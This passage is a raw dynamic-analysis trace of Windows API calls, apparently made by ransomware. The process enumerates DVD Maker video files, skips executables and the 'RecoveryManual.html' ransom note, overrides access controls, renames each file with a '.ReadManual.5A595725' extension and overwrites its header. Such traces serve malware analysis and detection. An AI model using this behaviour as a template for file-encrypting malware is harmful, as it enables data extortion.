ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0251.686] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyMainBackground_PAL.wmv" | out: lpString1="BabyBoyMainBackground_PAL.wmv") returned="BabyBoyMainBackground_PAL.wmv" [0251.686] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0251.686] StrStrIW (lpFirst="BabyBoyMainBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.686] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.686] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.687] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.687] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.687] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.687] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" [0251.687] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.ReadManual.5A595725" [0251.687] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.ReadManual.5A595725") returned 105 [0251.687] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37235548360) returned 1 [0251.687] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0251.687] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.687] GetLastError () returned 0x5 [0251.687] GetNamedSecurityInfoW () returned 0x0 [0251.687] SetNamedSecurityInfoW () returned 0x0 [0251.688] SetNamedSecurityInfoW () returned 0x0 [0251.688] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.688] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=325322) returned 1 [0251.688] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f6ca, lpName=0x0) returned 0x1a0 [0251.688] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0251.689] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.689] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.691] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.691] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f6ca) returned 0x2690000 [0251.718] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0251.720] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37238849354) returned 1 [0251.720] CloseHandle (hObject=0x1a0) returned 1 [0251.720] SetSecurityInfo () returned 0x5 [0251.720] SetSecurityInfo () returned 0x5 [0251.720] LocalFree (hMem=0x674d38) returned 0x0 [0251.720] CloseHandle (hObject=0x184) returned 1 [0251.720] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0251.720] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyMainToNotesBackground.wmv" | out: lpString1="BabyBoyMainToNotesBackground.wmv") returned="BabyBoyMainToNotesBackground.wmv" [0251.720] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground.wmv", lpString2="RecoveryManual.html") returned -1 [0251.720] StrStrIW (lpFirst="BabyBoyMainToNotesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.720] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.720] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.721] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.721] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.721] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.721] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.721] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" [0251.721] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.ReadManual.5A595725" [0251.721] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.ReadManual.5A595725") returned 108 [0251.721] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37238951083) returned 1 [0251.721] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0251.721] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.721] GetLastError () returned 0x5 [0251.721] GetNamedSecurityInfoW () returned 0x0 [0251.721] SetNamedSecurityInfoW () returned 0x0 [0251.721] SetNamedSecurityInfoW () returned 0x0 [0251.722] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.722] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=141214) returned 1 [0251.722] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2279e, lpName=0x0) returned 0x1a0 [0251.722] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe8) returned 1 [0251.723] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.723] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.727] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.727] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2279e) returned 0x1de0000 [0251.735] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.735] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37240410443) returned 1 [0251.735] CloseHandle (hObject=0x1a0) returned 1 [0251.735] SetSecurityInfo () returned 0x5 [0251.735] SetSecurityInfo () returned 0x5 [0251.736] LocalFree (hMem=0x674d38) returned 0x0 [0251.736] CloseHandle (hObject=0x184) returned 1 [0251.736] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0251.736] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyMainToNotesBackground_PAL.wmv" | out: lpString1="BabyBoyMainToNotesBackground_PAL.wmv") returned="BabyBoyMainToNotesBackground_PAL.wmv" [0251.736] lstrcmpiW (lpString1="BabyBoyMainToNotesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0251.736] StrStrIW (lpFirst="BabyBoyMainToNotesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.736] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.736] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.736] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" [0251.736] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.ReadManual.5A595725" [0251.736] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.ReadManual.5A595725") returned 112 [0251.736] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37240674753) returned 1 [0251.738] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0251.738] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.738] GetLastError () returned 0x5 [0251.738] GetNamedSecurityInfoW () returned 0x0 [0251.739] SetNamedSecurityInfoW () returned 0x0 [0251.739] SetNamedSecurityInfoW () returned 0x0 [0251.739] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.739] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=157214) returned 1 [0251.740] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2661e, lpName=0x0) returned 0x1a0 [0251.740] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf0) returned 1 [0251.740] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.740] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.742] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.742] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2661e) returned 0x1de0000 [0251.745] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.746] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37241445273) returned 1 [0251.746] CloseHandle (hObject=0x1a0) returned 1 [0251.746] SetSecurityInfo () returned 0x5 [0251.746] SetSecurityInfo () returned 0x5 [0251.746] LocalFree (hMem=0x674d38) returned 0x0 [0251.746] CloseHandle (hObject=0x184) returned 1 [0251.746] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0251.746] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyMainToScenesBackground.wmv" | out: lpString1="BabyBoyMainToScenesBackground.wmv") returned="BabyBoyMainToScenesBackground.wmv" [0251.746] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground.wmv", lpString2="RecoveryManual.html") returned -1 [0251.746] StrStrIW (lpFirst="BabyBoyMainToScenesBackground.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.746] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.746] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.747] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.747] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.747] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" [0251.747] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.ReadManual.5A595725" [0251.747] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.ReadManual.5A595725") returned 109 [0251.747] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37241543075) returned 1 [0251.747] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0251.747] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.748] GetLastError () returned 0x5 [0251.748] GetNamedSecurityInfoW () returned 0x0 [0251.748] SetNamedSecurityInfoW () returned 0x0 [0251.748] SetNamedSecurityInfoW () returned 0x0 [0251.749] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.749] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=117214) returned 1 [0251.749] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c9de, lpName=0x0) returned 0x1a0 [0251.749] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0251.749] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.749] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.751] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.751] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c9de) returned 0x1de0000 [0251.753] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.754] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37242252799) returned 1 [0251.754] CloseHandle (hObject=0x1a0) returned 1 [0251.754] SetSecurityInfo () returned 0x5 [0251.754] SetSecurityInfo () returned 0x5 [0251.754] LocalFree (hMem=0x674d38) returned 0x0 [0251.754] CloseHandle (hObject=0x184) returned 1 [0251.754] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0251.754] lstrcpyW (in: lpString1=0x6ab90c, lpString2="BabyBoyMainToScenesBackground_PAL.wmv" | out: lpString1="BabyBoyMainToScenesBackground_PAL.wmv") returned="BabyBoyMainToScenesBackground_PAL.wmv" [0251.754] lstrcmpiW (lpString1="BabyBoyMainToScenesBackground_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0251.754] StrStrIW (lpFirst="BabyBoyMainToScenesBackground_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.754] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0251.754] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0251.755] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0251.755] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0251.755] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0251.755] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0251.755] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" [0251.755] lstrcatW (in: 